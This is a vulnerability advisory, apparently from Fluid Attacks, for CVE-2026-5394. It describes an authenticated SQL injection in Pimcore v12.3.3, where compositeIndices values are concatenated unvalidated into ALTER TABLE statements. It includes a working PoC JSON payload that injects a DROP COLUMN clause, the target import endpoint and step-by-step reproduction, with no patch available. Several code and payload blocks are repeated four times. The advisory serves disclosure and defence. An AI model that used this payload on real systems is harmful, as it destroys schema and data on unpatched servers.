Pimcore Platform v12.3.3 - SQL Injection in DataObject composite index handling

Description

An authenticated administrative user who can import or save DataObject class definitions can inject attacker-controlled composite index metadata and trigger unintended SQL execution in the backend.

The vulnerable flow accepts compositeIndices from imported JSON, stores the values without strict validation, and later concatenates them directly into ALTER TABLE ... DROP INDEX and ALTER TABLE ... ADD INDEX statements executed through Doctrine DBAL.

Although the original report focused on compositeIndices.index_key, independent code review shows that the strongest and most reliable injection point is compositeIndices.index_columns, because it is inserted verbatim inside the ADD INDEX (...) clause. This permits the injection of additional ALTER TABLE subclauses against Pimcore object tables without relying on stacked queries.

Vulnerability

Root cause

1. Source:

   • Pimcore\Model\DataObject\ClassDefinition\Service::importClassDefinitionFromJson() accepts compositeIndices directly from imported JSON.

2. Assignment:

   • Pimcore\Model\DataObject\ClassDefinition::setCompositeIndices() does not enforce an allowlist for index names or column names.

   • The only special handling is a ManyToOne relation rewrite to __id and __type, which is not a security control.

3. Sink:

   • Pimcore\Model\DataObject\Traits\CompositeIndexTrait::updateCompositeIndices() builds raw SQL with string concatenation and executes it via $this->db->executeQuery(...).

4. Missing protection:

   • quoteIdentifier() is used for the SHOW INDEXES query, but not for the dynamic ALTER TABLE statements.

   • No server-side schema validation restricts index_key or index_columns to known safe identifier characters.

Confirmed source-to-sink path

1. importClassDefinitionFromJson() decodes attacker-controlled JSON and forwards compositeIndices.

2. setCompositeIndices() stores those values without sanitizing identifier content.

3. ClassDefinition::save() reaches ClassDefinition\Dao::update().

4. Dao::update() calls updateCompositeIndices() for:

   • object_store_<classId>

   • object_query_<classId>

5. Localizedfield\Dao also calls updateCompositeIndices() for:

   • localized query tables

   • localized store tables

The vulnerable ADD INDEX statement is built as:

'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'

'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'

'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'

'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'

$columnName is produced from implode(',', $columns) and is not quoted or validated. A malicious index_columns element such as:

slider), DROP COLUMN `oo_className`

slider), DROP COLUMN `oo_className`

slider), DROP COLUMN `oo_className`

slider), DROP COLUMN `oo_className`

produces SQL of the form:

ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- );

ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- );

ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- );

ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- );

This remains a single ALTER TABLE statement, so the base vulnerability does not depend on multi-statement support. The attacker can inject additional DDL clauses affecting the target Pimcore object table.

Impact

The issue allows a privileged attacker to alter backend SQL behavior during class-definition import/save and modify schema on Pimcore object tables associated with the affected class.

Practical impact includes:

• Unauthorized schema modification on object query/store tables

• Backend denial of service by breaking the expected table layout

• Data integrity impact for DataObject storage and queries

index_key is also concatenated into SQL without proper identifier escaping, but the most defensible exploitation path is through index_columns.

Relevant code:

• models/DataObject/ClassDefinition/Service.php:92-137

• models/DataObject/ClassDefinition.php:994-1006

• models/DataObject/Traits/CompositeIndexTrait.php:30-85

• models/DataObject/ClassDefinition/Dao.php:217-218

• models/DataObject/Localizedfield/Dao.php:945-951

PoC

Application-level PoC

Preconditions:

• Valid authenticated administrative session.

• Ability to import or save a class definition containing compositeIndices.

The original report reproduced the issue through an authenticated Studio endpoint:

POST /pimcore-studio/api/class/definition/configuration-view/detail/1/import

POST /pimcore-studio/api/class/definition/configuration-view/detail/1/import

POST /pimcore-studio/api/class/definition/configuration-view/detail/1/import

POST /pimcore-studio/api/class/definition/configuration-view/detail/1/import

Minimal malicious JSON fragment:

{
  "compositeIndices": [
    {
      "index_key": "poc_idx",
      "index_type": "query",
      "index_columns": [
        "slider), DROP COLUMN `oo_className` -- "
      ]
    }
  ]
}

{
  "compositeIndices": [
    {
      "index_key": "poc_idx",
      "index_type": "query",
      "index_columns": [
        "slider), DROP COLUMN `oo_className` -- "
      ]
    }
  ]
}

{
  "compositeIndices": [
    {
      "index_key": "poc_idx",
      "index_type": "query",
      "index_columns": [
        "slider), DROP COLUMN `oo_className` -- "
      ]
    }
  ]
}

{
  "compositeIndices": [
    {
      "index_key": "poc_idx",
      "index_type": "query",
      "index_columns": [
        "slider), DROP COLUMN `oo_className` -- "
      ]
    }
  ]
}

Reproduction:

1. Authenticate as an administrator with permission to manage/import class definitions.

2. Export an existing class definition or prepare a valid class-definition JSON document.

3. Replace only the compositeIndices section with the payload above.

4. Import the modified definition or save the class through the administrative workflow.

Expected result:

• Pimcore reaches updateCompositeIndices() during class save/import.

• The backend executes an attacker-influenced ALTER TABLE statement against the target object table.

• The affected class table is modified unexpectedly, for example, by dropping a column or otherwise changing the schema.

Minimal source-level confirmation

The behavior is directly visible from the code path:

$newIndicesMap['c_' . $key] = implode(',', $columns);
$columnName = $newIndicesMap[$key];
$this->db->executeQuery(
    'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
);

$newIndicesMap['c_' . $key] = implode(',', $columns);
$columnName = $newIndicesMap[$key];
$this->db->executeQuery(
    'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
);

$newIndicesMap['c_' . $key] = implode(',', $columns);
$columnName = $newIndicesMap[$key];
$this->db->executeQuery(
    'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
);

$newIndicesMap['c_' . $key] = implode(',', $columns);
$columnName = $newIndicesMap[$key];
$this->db->executeQuery(
    'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
);

No escaping or allowlist validation is applied $columns before they are interpolated into SQL.

Evidence of Exploitation

• Video of exploitation:

  

• Static evidence:

  

Our security policy

We have reserved the ID CVE-2026-5394 to refer to this issue from now on.

Disclosure policy

System Information

Pimcore Platform
Version v12.3.3
Operating System: Any

References

Github Repository: https://github.com/pimcore/pimcore
Security: https://github.com/pimcore/pimcore/security

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Naveda from Fluid Attacks' Offensive Team using the AI SAST Scanner.